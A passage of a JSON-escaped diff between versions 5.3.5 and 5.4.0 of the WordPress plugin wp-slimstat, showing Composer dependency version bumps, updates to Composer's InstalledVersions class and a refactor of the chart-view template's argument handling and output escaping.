\"0f68c03565dcaaf25a890667542e8bd75fe7e5bb\",\n                 \"shasum\": \"\"\n             },\n             \"require\": {\n-                \"php\": \">=7.1\"\n+                \"php\": \">=7.2\"\n             },\n-            \"time\": \"2024-01-29T20:11:03+00:00\",\n+            \"time\": \"2024-09-09T11:45:10+00:00\",\n             \"type\": \"library\",\n             \"extra\": {\n                 \"thanks\": {\n-                    \"name\": \"symfony\u002Fpolyfill\",\n-                    \"url\": \"https:\u002F\u002Fgithub.com\u002Fsymfony\u002Fpolyfill\"\n+                    \"url\": \"https:\u002F\u002Fgithub.com\u002Fsymfony\u002Fpolyfill\",\n+                    \"name\": \"symfony\u002Fpolyfill\"\n                 }\n             },\n             \"installation-source\": \"dist\",\n@@ -1648,7 +1665,7 @@\n                 \"shim\"\n             ],\n             \"support\": {\n-                \"source\": \"https:\u002F\u002Fgithub.com\u002Fsymfony\u002Fpolyfill-php73\u002Ftree\u002Fv1.29.0\"\n+                \"source\": \"https:\u002F\u002Fgithub.com\u002Fsymfony\u002Fpolyfill-php73\u002Ftree\u002Fv1.33.0\"\n             },\n             \"funding\": [\n                 {\n@@ -1660,6 +1677,10 @@\n                     \"type\": \"github\"\n                 },\n                 {\n+                    \"url\": \"https:\u002F\u002Fgithub.com\u002Fnicolas-grekas\",\n+                    \"type\": \"github\"\n+                },\n+                {\n                     \"url\": \"https:\u002F\u002Ftidelift.com\u002Ffunding\u002Fgithub\u002Fpackagist\u002Fsymfony\u002Fsymfony\",\n                     \"type\": \"tidelift\"\n                 }\n@@ -1668,28 +1689,28 @@\n         },\n         {\n             \"name\": \"symfony\u002Fpolyfill-php80\",\n-            \"version\": \"v1.29.0\",\n-            \"version_normalized\": \"1.29.0.0\",\n+            \"version\": \"v1.33.0\",\n+            \"version_normalized\": \"1.33.0.0\",\n             \"source\": {\n                 \"type\": \"git\",\n                 \"url\": \"https:\u002F\u002Fgithub.com\u002Fsymfony\u002Fpolyfill-php80.git\",\n-                \"reference\": \"87b68208d5c1188808dd7839ee1e6c8ec3b02f1b\"\n+                \"reference\": \"0cc9dd0f17f61d8131e7df6b84bd344899fe2608\"\n             },\n             \"dist\": {\n                 \"type\": \"zip\",\n-                \"url\": \"https:\u002F\u002Fapi.github.com\u002Frepos\u002Fsymfony\u002Fpolyfill-php80\u002Fzipball\u002F87b68208d5c1188808dd7839ee1e6c8ec3b02f1b\",\n-                \"reference\": \"87b68208d5c1188808dd7839ee1e6c8ec3b02f1b\",\n+                \"url\": \"https:\u002F\u002Fapi.github.com\u002Frepos\u002Fsymfony\u002Fpolyfill-php80\u002Fzipball\u002F0cc9dd0f17f61d8131e7df6b84bd344899fe2608\",\n+                \"reference\": \"0cc9dd0f17f61d8131e7df6b84bd344899fe2608\",\n                 \"shasum\": \"\"\n             },\n             \"require\": {\n-                \"php\": \">=7.1\"\n+                \"php\": \">=7.2\"\n             },\n-            \"time\": \"2024-01-29T20:11:03+00:00\",\n+            \"time\": \"2025-01-02T08:10:11+00:00\",\n             \"type\": \"library\",\n             \"extra\": {\n                 \"thanks\": {\n-                    \"name\": \"symfony\u002Fpolyfill\",\n-                    \"url\": \"https:\u002F\u002Fgithub.com\u002Fsymfony\u002Fpolyfill\"\n+                    \"url\": \"https:\u002F\u002Fgithub.com\u002Fsymfony\u002Fpolyfill\",\n+                    \"name\": \"symfony\u002Fpolyfill\"\n                 }\n             },\n             \"installation-source\": \"dist\",\n@@ -1731,7 +1752,7 @@\n                 \"shim\"\n             ],\n             \"support\": {\n-                \"source\": \"https:\u002F\u002Fgithub.com\u002Fsymfony\u002Fpolyfill-php80\u002Ftree\u002Fv1.29.0\"\n+                \"source\": \"https:\u002F\u002Fgithub.com\u002Fsymfony\u002Fpolyfill-php80\u002Ftree\u002Fv1.33.0\"\n             },\n             \"funding\": [\n                 {\n@@ -1743,6 +1764,10 @@\n                     \"type\": \"github\"\n                 },\n                 {\n+                    \"url\": \"https:\u002F\u002Fgithub.com\u002Fnicolas-grekas\",\n+                    \"type\": \"github\"\n+                },\n+                {\n                     \"url\": \"https:\u002F\u002Ftidelift.com\u002Ffunding\u002Fgithub\u002Fpackagist\u002Fsymfony\u002Fsymfony\",\n                     \"type\": \"tidelift\"\n                 }\n@@ -1751,17 +1776,17 @@\n         },\n         {\n             \"name\": \"symfony\u002Fservice-contracts\",\n-            \"version\": \"v3.5.0\",\n-            \"version_normalized\": \"3.5.0.0\",\n+            \"version\": \"v3.6.0\",\n+            \"version_normalized\": \"3.6.0.0\",\n             \"source\": {\n                 \"type\": \"git\",\n                 \"url\": \"https:\u002F\u002Fgithub.com\u002Fsymfony\u002Fservice-contracts.git\",\n-                \"reference\": \"bd1d9e59a81d8fa4acdcea3f617c581f7475a80f\"\n+                \"reference\": \"f021b05a130d35510bd6b25fe9053c2a8a15d5d4\"\n             },\n             \"dist\": {\n                 \"type\": \"zip\",\n-                \"url\": \"https:\u002F\u002Fapi.github.com\u002Frepos\u002Fsymfony\u002Fservice-contracts\u002Fzipball\u002Fbd1d9e59a81d8fa4acdcea3f617c581f7475a80f\",\n-                \"reference\": \"bd1d9e59a81d8fa4acdcea3f617c581f7475a80f\",\n+                \"url\": \"https:\u002F\u002Fapi.github.com\u002Frepos\u002Fsymfony\u002Fservice-contracts\u002Fzipball\u002Ff021b05a130d35510bd6b25fe9053c2a8a15d5d4\",\n+                \"reference\": \"f021b05a130d35510bd6b25fe9053c2a8a15d5d4\",\n                 \"shasum\": \"\"\n             },\n             \"require\": {\n@@ -1772,15 +1797,15 @@\n             \"conflict\": {\n                 \"ext-psr\": \"\u003C1.1|>=2\"\n             },\n-            \"time\": \"2024-04-18T09:32:20+00:00\",\n+            \"time\": \"2025-04-25T09:37:31+00:00\",\n             \"type\": \"library\",\n             \"extra\": {\n-                \"branch-alias\": {\n-                    \"dev-main\": \"3.5-dev\"\n-                },\n                 \"thanks\": {\n-                    \"name\": \"symfony\u002Fcontracts\",\n-                    \"url\": \"https:\u002F\u002Fgithub.com\u002Fsymfony\u002Fcontracts\"\n+                    \"url\": \"https:\u002F\u002Fgithub.com\u002Fsymfony\u002Fcontracts\",\n+                    \"name\": \"symfony\u002Fcontracts\"\n+                },\n+                \"branch-alias\": {\n+                    \"dev-main\": \"3.6-dev\"\n                 }\n             },\n             \"installation-source\": \"dist\",\n@@ -1817,7 +1842,7 @@\n                 \"standards\"\n             ],\n             \"support\": {\n-                \"source\": \"https:\u002F\u002Fgithub.com\u002Fsymfony\u002Fservice-contracts\u002Ftree\u002Fv3.5.0\"\n+                \"source\": \"https:\u002F\u002Fgithub.com\u002Fsymfony\u002Fservice-contracts\u002Ftree\u002Fv3.6.0\"\n             },\n             \"funding\": [\n                 {\n@@ -1837,17 +1862,17 @@\n         },\n         {\n             \"name\": \"symfony\u002Fstring\",\n-            \"version\": \"v6.4.8\",\n-            \"version_normalized\": \"6.4.8.0\",\n+            \"version\": \"v6.4.26\",\n+            \"version_normalized\": \"6.4.26.0\",\n             \"source\": {\n                 \"type\": \"git\",\n                 \"url\": \"https:\u002F\u002Fgithub.com\u002Fsymfony\u002Fstring.git\",\n-                \"reference\": \"a147c0f826c4a1f3afb763ab8e009e37c877a44d\"\n+                \"reference\": \"5621f039a71a11c87c106c1c598bdcd04a19aeea\"\n             },\n             \"dist\": {\n                 \"type\": \"zip\",\n-                \"url\": \"https:\u002F\u002Fapi.github.com\u002Frepos\u002Fsymfony\u002Fstring\u002Fzipball\u002Fa147c0f826c4a1f3afb763ab8e009e37c877a44d\",\n-                \"reference\": \"a147c0f826c4a1f3afb763ab8e009e37c877a44d\",\n+                \"url\": \"https:\u002F\u002Fapi.github.com\u002Frepos\u002Fsymfony\u002Fstring\u002Fzipball\u002F5621f039a71a11c87c106c1c598bdcd04a19aeea\",\n+                \"reference\": \"5621f039a71a11c87c106c1c598bdcd04a19aeea\",\n                 \"shasum\": \"\"\n             },\n             \"require\": {\n@@ -1861,13 +1886,12 @@\n                 \"symfony\u002Ftranslation-contracts\": \"\u003C2.5\"\n             },\n             \"require-dev\": {\n-                \"symfony\u002Ferror-handler\": \"^5.4|^6.0|^7.0\",\n                 \"symfony\u002Fhttp-client\": \"^5.4|^6.0|^7.0\",\n                 \"symfony\u002Fintl\": \"^6.2|^7.0\",\n                 \"symfony\u002Ftranslation-contracts\": \"^2.5|^3.0\",\n                 \"symfony\u002Fvar-exporter\": \"^5.4|^6.0|^7.0\"\n             },\n-            \"time\": \"2024-05-31T14:49:08+00:00\",\n+            \"time\": \"2025-09-11T14:32:46+00:00\",\n             \"type\": \"library\",\n             \"installation-source\": \"dist\",\n             \"autoload\": {\n@@ -1906,7 +1930,7 @@\n                 \"utf8\"\n             ],\n             \"support\": {\n-                \"source\": \"https:\u002F\u002Fgithub.com\u002Fsymfony\u002Fstring\u002Ftree\u002Fv6.4.8\"\n+                \"source\": \"https:\u002F\u002Fgithub.com\u002Fsymfony\u002Fstring\u002Ftree\u002Fv6.4.26\"\n             },\n             \"funding\": [\n                 {\n@@ -1918,6 +1942,10 @@\n                     \"type\": \"github\"\n                 },\n                 {\n+                    \"url\": \"https:\u002F\u002Fgithub.com\u002Fnicolas-grekas\",\n+                    \"type\": \"github\"\n+                },\n+                {\n                     \"url\": \"https:\u002F\u002Ftidelift.com\u002Ffunding\u002Fgithub\u002Fpackagist\u002Fsymfony\u002Fsymfony\",\n                     \"type\": \"tidelift\"\n                 }\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fvendor\u002Fcomposer\u002Finstalled.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fvendor\u002Fcomposer\u002Finstalled.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fvendor\u002Fcomposer\u002Finstalled.php\t2024-08-05 14:31:32.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fvendor\u002Fcomposer\u002Finstalled.php\t2026-03-08 13:29:08.000000000 +0000\n@@ -3,7 +3,7 @@\n         'name' => 'wp-slimstat\u002Fwp-slimstat',\n         'pretty_version' => 'dev-master',\n         'version' => 'dev-master',\n-        'reference' => '2b0f0c238f368de43db364d3b2070a07a2fcba52',\n+        'reference' => '792624a3d0a8352ea464892a2355a4e68d40f734',\n         'type' => 'library',\n         'install_path' => __DIR__ . '\u002F..\u002F..\u002F',\n         'aliases' => array(),\n@@ -11,27 +11,27 @@\n     ),\n     'versions' => array(\n         'guzzlehttp\u002Fguzzle' => array(\n-            'pretty_version' => '7.8.1',\n-            'version' => '7.8.1.0',\n-            'reference' => '41042bc7ab002487b876a0683fc8dce04ddce104',\n+            'pretty_version' => '7.10.0',\n+            'version' => '7.10.0.0',\n+            'reference' => 'b51ac707cfa420b7bfd4e4d5e510ba8008e822b4',\n             'type' => 'library',\n             'install_path' => __DIR__ . '\u002F..\u002Fguzzlehttp\u002Fguzzle',\n             'aliases' => array(),\n             'dev_requirement' => false,\n         ),\n         'guzzlehttp\u002Fpromises' => array(\n-            'pretty_version' => '2.0.2',\n-            'version' => '2.0.2.0',\n-            'reference' => 'bbff78d96034045e58e13dedd6ad91b5d1253223',\n+            'pretty_version' => '2.3.0',\n+            'version' => '2.3.0.0',\n+            'reference' => '481557b130ef3790cf82b713667b43030dc9c957',\n             'type' => 'library',\n             'install_path' => __DIR__ . '\u002F..\u002Fguzzlehttp\u002Fpromises',\n             'aliases' => array(),\n             'dev_requirement' => false,\n         ),\n         'guzzlehttp\u002Fpsr7' => array(\n-            'pretty_version' => '2.6.2',\n-            'version' => '2.6.2.0',\n-            'reference' => '45b30f99ac27b5ca93cb4831afe16285f57b8221',\n+            'pretty_version' => '2.8.0',\n+            'version' => '2.8.0.0',\n+            'reference' => '21dc724a0583619cd1652f673303492272778051',\n             'type' => 'library',\n             'install_path' => __DIR__ . '\u002F..\u002Fguzzlehttp\u002Fpsr7',\n             'aliases' => array(),\n@@ -47,9 +47,9 @@\n             'dev_requirement' => false,\n         ),\n         'league\u002Fmime-type-detection' => array(\n-            'pretty_version' => '1.15.0',\n-            'version' => '1.15.0.0',\n-            'reference' => 'ce0f4d1e8a6f4eb0ddff33f57c69c50fd09f4301',\n+            'pretty_version' => '1.16.0',\n+            'version' => '1.16.0.0',\n+            'reference' => '2d6702ff215bf922936ccc1ad31007edc76451b9',\n             'type' => 'library',\n             'install_path' => __DIR__ . '\u002F..\u002Fleague\u002Fmime-type-detection',\n             'aliases' => array(),\n@@ -173,99 +173,99 @@\n             'dev_requirement' => false,\n         ),\n         'symfony\u002Fconsole' => array(\n-            'pretty_version' => 'v5.4.40',\n-            'version' => '5.4.40.0',\n-            'reference' => 'aa73115c0c24220b523625bfcfa655d7d73662dd',\n+            'pretty_version' => 'v5.4.47',\n+            'version' => '5.4.47.0',\n+            'reference' => 'c4ba980ca61a9eb18ee6bcc73f28e475852bb1ed',\n             'type' => 'library',\n             'install_path' => __DIR__ . '\u002F..\u002Fsymfony\u002Fconsole',\n             'aliases' => array(),\n             'dev_requirement' => false,\n         ),\n         'symfony\u002Fdeprecation-contracts' => array(\n-            'pretty_version' => 'v3.5.0',\n-            'version' => '3.5.0.0',\n-            'reference' => '0e0d29ce1f20deffb4ab1b016a7257c4f1e789a1',\n+            'pretty_version' => 'v3.6.0',\n+            'version' => '3.6.0.0',\n+            'reference' => '63afe740e99a13ba87ec199bb07bbdee937a5b62',\n             'type' => 'library',\n             'install_path' => __DIR__ . '\u002F..\u002Fsymfony\u002Fdeprecation-contracts',\n             'aliases' => array(),\n             'dev_requirement' => false,\n         ),\n         'symfony\u002Ffilesystem' => array(\n-            'pretty_version' => 'v5.4.40',\n-            'version' => '5.4.40.0',\n-            'reference' => '26dd9912df6940810ea00f8f53ad48d6a3424995',\n+            'pretty_version' => 'v5.4.45',\n+            'version' => '5.4.45.0',\n+            'reference' => '57c8294ed37d4a055b77057827c67f9558c95c54',\n             'type' => 'library',\n             'install_path' => __DIR__ . '\u002F..\u002Fsymfony\u002Ffilesystem',\n             'aliases' => array(),\n             'dev_requirement' => false,\n         ),\n         'symfony\u002Fpolyfill-ctype' => array(\n-            'pretty_version' => 'v1.29.0',\n-            'version' => '1.29.0.0',\n-            'reference' => 'ef4d7e442ca910c4764bce785146269b30cb5fc4',\n+            'pretty_version' => 'v1.33.0',\n+            'version' => '1.33.0.0',\n+            'reference' => 'a3cc8b044a6ea513310cbd48ef7333b384945638',\n             'type' => 'library',\n             'install_path' => __DIR__ . '\u002F..\u002Fsymfony\u002Fpolyfill-ctype',\n             'aliases' => array(),\n             'dev_requirement' => false,\n         ),\n         'symfony\u002Fpolyfill-intl-grapheme' => array(\n-            'pretty_version' => 'v1.29.0',\n-            'version' => '1.29.0.0',\n-            'reference' => '32a9da87d7b3245e09ac426c83d334ae9f06f80f',\n+            'pretty_version' => 'v1.33.0',\n+            'version' => '1.33.0.0',\n+            'reference' => '380872130d3a5dd3ace2f4010d95125fde5d5c70',\n             'type' => 'library',\n             'install_path' => __DIR__ . '\u002F..\u002Fsymfony\u002Fpolyfill-intl-grapheme',\n             'aliases' => array(),\n             'dev_requirement' => false,\n         ),\n         'symfony\u002Fpolyfill-intl-normalizer' => array(\n-            'pretty_version' => 'v1.29.0',\n-            'version' => '1.29.0.0',\n-            'reference' => 'bc45c394692b948b4d383a08d7753968bed9a83d',\n+            'pretty_version' => 'v1.33.0',\n+            'version' => '1.33.0.0',\n+            'reference' => '3833d7255cc303546435cb650316bff708a1c75c',\n             'type' => 'library',\n             'install_path' => __DIR__ . '\u002F..\u002Fsymfony\u002Fpolyfill-intl-normalizer',\n             'aliases' => array(),\n             'dev_requirement' => false,\n         ),\n         'symfony\u002Fpolyfill-mbstring' => array(\n-            'pretty_version' => 'v1.29.0',\n-            'version' => '1.29.0.0',\n-            'reference' => '9773676c8a1bb1f8d4340a62efe641cf76eda7ec',\n+            'pretty_version' => 'v1.33.0',\n+            'version' => '1.33.0.0',\n+            'reference' => '6d857f4d76bd4b343eac26d6b539585d2bc56493',\n             'type' => 'library',\n             'install_path' => __DIR__ . '\u002F..\u002Fsymfony\u002Fpolyfill-mbstring',\n             'aliases' => array(),\n             'dev_requirement' => false,\n         ),\n         'symfony\u002Fpolyfill-php73' => array(\n-            'pretty_version' => 'v1.29.0',\n-            'version' => '1.29.0.0',\n-            'reference' => '21bd091060673a1177ae842c0ef8fe30893114d2',\n+            'pretty_version' => 'v1.33.0',\n+            'version' => '1.33.0.0',\n+            'reference' => '0f68c03565dcaaf25a890667542e8bd75fe7e5bb',\n             'type' => 'library',\n             'install_path' => __DIR__ . '\u002F..\u002Fsymfony\u002Fpolyfill-php73',\n             'aliases' => array(),\n             'dev_requirement' => false,\n         ),\n         'symfony\u002Fpolyfill-php80' => array(\n-            'pretty_version' => 'v1.29.0',\n-            'version' => '1.29.0.0',\n-            'reference' => '87b68208d5c1188808dd7839ee1e6c8ec3b02f1b',\n+            'pretty_version' => 'v1.33.0',\n+            'version' => '1.33.0.0',\n+            'reference' => '0cc9dd0f17f61d8131e7df6b84bd344899fe2608',\n             'type' => 'library',\n             'install_path' => __DIR__ . '\u002F..\u002Fsymfony\u002Fpolyfill-php80',\n             'aliases' => array(),\n             'dev_requirement' => false,\n         ),\n         'symfony\u002Fservice-contracts' => array(\n-            'pretty_version' => 'v3.5.0',\n-            'version' => '3.5.0.0',\n-            'reference' => 'bd1d9e59a81d8fa4acdcea3f617c581f7475a80f',\n+            'pretty_version' => 'v3.6.0',\n+            'version' => '3.6.0.0',\n+            'reference' => 'f021b05a130d35510bd6b25fe9053c2a8a15d5d4',\n             'type' => 'library',\n             'install_path' => __DIR__ . '\u002F..\u002Fsymfony\u002Fservice-contracts',\n             'aliases' => array(),\n             'dev_requirement' => false,\n         ),\n         'symfony\u002Fstring' => array(\n-            'pretty_version' => 'v6.4.8',\n-            'version' => '6.4.8.0',\n-            'reference' => 'a147c0f826c4a1f3afb763ab8e009e37c877a44d',\n+            'pretty_version' => 'v6.4.26',\n+            'version' => '6.4.26.0',\n+            'reference' => '5621f039a71a11c87c106c1c598bdcd04a19aeea',\n             'type' => 'library',\n             'install_path' => __DIR__ . '\u002F..\u002Fsymfony\u002Fstring',\n             'aliases' => array(),\n@@ -285,7 +285,7 @@\n         'wp-slimstat\u002Fwp-slimstat' => array(\n             'pretty_version' => 'dev-master',\n             'version' => 'dev-master',\n-            'reference' => '2b0f0c238f368de43db364d3b2070a07a2fcba52',\n+            'reference' => '792624a3d0a8352ea464892a2355a4e68d40f734',\n             'type' => 'library',\n             'install_path' => __DIR__ . '\u002F..\u002F..\u002F',\n             'aliases' => array(),\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fvendor\u002Fcomposer\u002FInstalledVersions.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fvendor\u002Fcomposer\u002FInstalledVersions.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fvendor\u002Fcomposer\u002FInstalledVersions.php\t2024-06-08 11:40:54.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fvendor\u002Fcomposer\u002FInstalledVersions.php\t2026-03-08 13:29:08.000000000 +0000\n@@ -27,12 +27,23 @@\n class InstalledVersions\n {\n     \u002F**\n+     * @var string|null if set (by reflection by Composer), this should be set to the path where this class is being copied to\n+     * @internal\n+     *\u002F\n+    private static $selfDir = null;\n+\n+    \u002F**\n      * @var mixed[]|null\n      * @psalm-var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array\u003Cstring, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}|array{}|null\n      *\u002F\n     private static $installed;\n \n     \u002F**\n+     * @var bool\n+     *\u002F\n+    private static $installedIsLocalDir;\n+\n+    \u002F**\n      * @var bool|null\n      *\u002F\n     private static $canGetVendors;\n@@ -309,6 +320,24 @@\n     {\n         self::$installed = $data;\n         self::$installedByVendor = array();\n+\n+        \u002F\u002F when using reload, we disable the duplicate protection to ensure that self::$installed data is\n+        \u002F\u002F always returned, but we cannot know whether it comes from the installed.php in __DIR__ or not,\n+        \u002F\u002F so we have to assume it does not, and that may result in duplicate data being returned when listing\n+        \u002F\u002F all installed packages for example\n+        self::$installedIsLocalDir = false;\n+    }\n+\n+    \u002F**\n+     * @return string\n+     *\u002F\n+    private static function getSelfDir()\n+    {\n+        if (self::$selfDir === null) {\n+            self::$selfDir = strtr(__DIR__, '\\\\', '\u002F');\n+        }\n+\n+        return self::$selfDir;\n     }\n \n     \u002F**\n@@ -322,19 +351,27 @@\n         }\n \n         $installed = array();\n+        $copiedLocalDir = false;\n \n         if (self::$canGetVendors) {\n+            $selfDir = self::getSelfDir();\n             foreach (ClassLoader::getRegisteredLoaders() as $vendorDir => $loader) {\n+                $vendorDir = strtr($vendorDir, '\\\\', '\u002F');\n                 if (isset(self::$installedByVendor[$vendorDir])) {\n                     $installed[] = self::$installedByVendor[$vendorDir];\n                 } elseif (is_file($vendorDir.'\u002Fcomposer\u002Finstalled.php')) {\n                     \u002F** @var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array\u003Cstring, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>} $required *\u002F\n                     $required = require $vendorDir.'\u002Fcomposer\u002Finstalled.php';\n-                    $installed[] = self::$installedByVendor[$vendorDir] = $required;\n-                    if (null === self::$installed && strtr($vendorDir.'\u002Fcomposer', '\\\\', '\u002F') === strtr(__DIR__, '\\\\', '\u002F')) {\n-                        self::$installed = $installed[count($installed) - 1];\n+                    self::$installedByVendor[$vendorDir] = $required;\n+                    $installed[] = $required;\n+                    if (self::$installed === null && $vendorDir.'\u002Fcomposer' === $selfDir) {\n+                        self::$installed = $required;\n+                        self::$installedIsLocalDir = true;\n                     }\n                 }\n+                if (self::$installedIsLocalDir && $vendorDir.'\u002Fcomposer' === $selfDir) {\n+                    $copiedLocalDir = true;\n+                }\n             }\n         }\n \n@@ -350,7 +387,7 @@\n             }\n         }\n \n-        if (self::$installed !== array()) {\n+        if (self::$installed !== array() && !$copiedLocalDir) {\n             $installed[] = self::$installed;\n         }\n \nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fvendor: guzzlehttp\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fvendor: league\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fvendor: matthiasmullie\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fvendor: psr\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fvendor\u002Fsymfony: console\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fvendor\u002Fsymfony: filesystem\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fvendor\u002Fsymfony: polyfill-ctype\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fvendor\u002Fsymfony: polyfill-intl-grapheme\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fvendor\u002Fsymfony: polyfill-intl-normalizer\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fvendor\u002Fsymfony: polyfill-mbstring\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fvendor\u002Fsymfony: polyfill-php73\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fvendor\u002Fsymfony: polyfill-php80\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fvendor\u002Fsymfony: service-contracts\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fvendor\u002Fsymfony: string\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fvendor: veronalabs\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fviews: components\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fviews\u002Fmodules\u002Fchart-view.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fviews\u002Fmodules\u002Fchart-view.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fviews\u002Fmodules\u002Fchart-view.php\t2025-08-25 08:38:44.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fviews\u002Fmodules\u002Fchart-view.php\t2026-03-08 13:29:08.000000000 +0000\n@@ -17,7 +17,23 @@\n     ]\n );\n \n-$availableRange = $args['end'] - $args['start'];\n+$chart_args = is_array($args) ? $args : [];\n+if (isset($chart_args['args']) && is_array($chart_args['args'])) {\n+    $chart_args = $chart_args['args'];\n+}\n+\n+$chart_args = wp_parse_args(\n+    $chart_args,\n+    [\n+        'start'       => 0,\n+        'end'         => 0,\n+        'granularity' => 'daily',\n+        'chart_type'  => 'line',\n+        'id'          => '',\n+    ]\n+);\n+\n+$availableRange = $chart_args['end'] - $chart_args['start'];\n $disableYearly  = $availableRange \u003C (365 * 86400); \u002F\u002F Less than 1 year of data\n $disableMonthly = $availableRange \u003C (30 * 86400); \u002F\u002F Less than 1 month of data\n $disableWeekly  = $availableRange \u003C (7 * 86400); \u002F\u002F Less than 1 week of data\n@@ -33,48 +49,68 @@\n         'v2' => (int) ($data['totals'][1]->v2 ?? 0),\n     ],\n ];\n+$is_empty = (0 === ($totals['current']['v1'] ?? 0) && 0 === ($totals['current']['v2'] ?? 0));\n ?>\n-\u003Cdiv class=\"slimstat-chart-wrap\">\n+\u003Cdiv\n+    class=\"slimstat-chart-wrap \u003C?php echo esc_attr(isset($chart_args['chart_type']) && $chart_args['chart_type'] === 'bar' ? 'chart-bar' : 'chart-line'); ?>\">\n     \u003Cdiv class=\"slimstat-chart-controls\">\n         \u003Cselect\n-            id=\"slimstat_granularity_\u003C?php echo esc_attr($args['id']); ?>\"\n-            name=\"granularity_\u003C?php echo esc_attr($args['id']); ?>\"\n+            id=\"slimstat_granularity_\u003C?php echo esc_attr($chart_args['id']); ?>\"\n+            name=\"granularity_\u003C?php echo esc_attr($chart_args['id']); ?>\"\n             class=\"slimstat-granularity-select\">\n             \u003Coption value=\"yearly\" \u003C?php echo $disableYearly ? 'disabled' : ''; ?>\n-                \u003C?php selected($args['granularity'], 'yearly'); ?>>\u003C?php echo esc_html($translations['yearly']); ?>\n+                \u003C?php selected($chart_args['granularity'], 'yearly'); ?>>\u003C?php echo esc_html($translations['yearly']); ?>\n             \u003C\u002Foption>\n             \u003Coption value=\"monthly\" \u003C?php echo $disableMonthly ? 'disabled' : ''; ?>\n-                \u003C?php selected($args['granularity'], 'monthly'); ?>>\u003C?php echo esc_html($translations['monthly']); ?>\n+                \u003C?php selected($chart_args['granularity'], 'monthly'); ?>>\u003C?php echo esc_html($translations['monthly']); ?>\n             \u003C\u002Foption>\n             \u003Coption value=\"weekly\" \u003C?php echo $disableWeekly ? 'disabled' : ''; ?>\n-                \u003C?php selected($args['granularity'], 'weekly'); ?>>\u003C?php echo esc_html($translations['weekly']); ?>\n+                \u003C?php selected($chart_args['granularity'], 'weekly'); ?>>\u003C?php echo esc_html($translations['weekly']); ?>\n             \u003C\u002Foption>\n             \u003Coption value=\"daily\" \u003C?php echo $disableDaily ? 'disabled' : ''; ?>\n-                \u003C?php selected($args['granularity'], 'daily'); ?>>\u003C?php echo esc_html($translations['daily']); ?>\n+                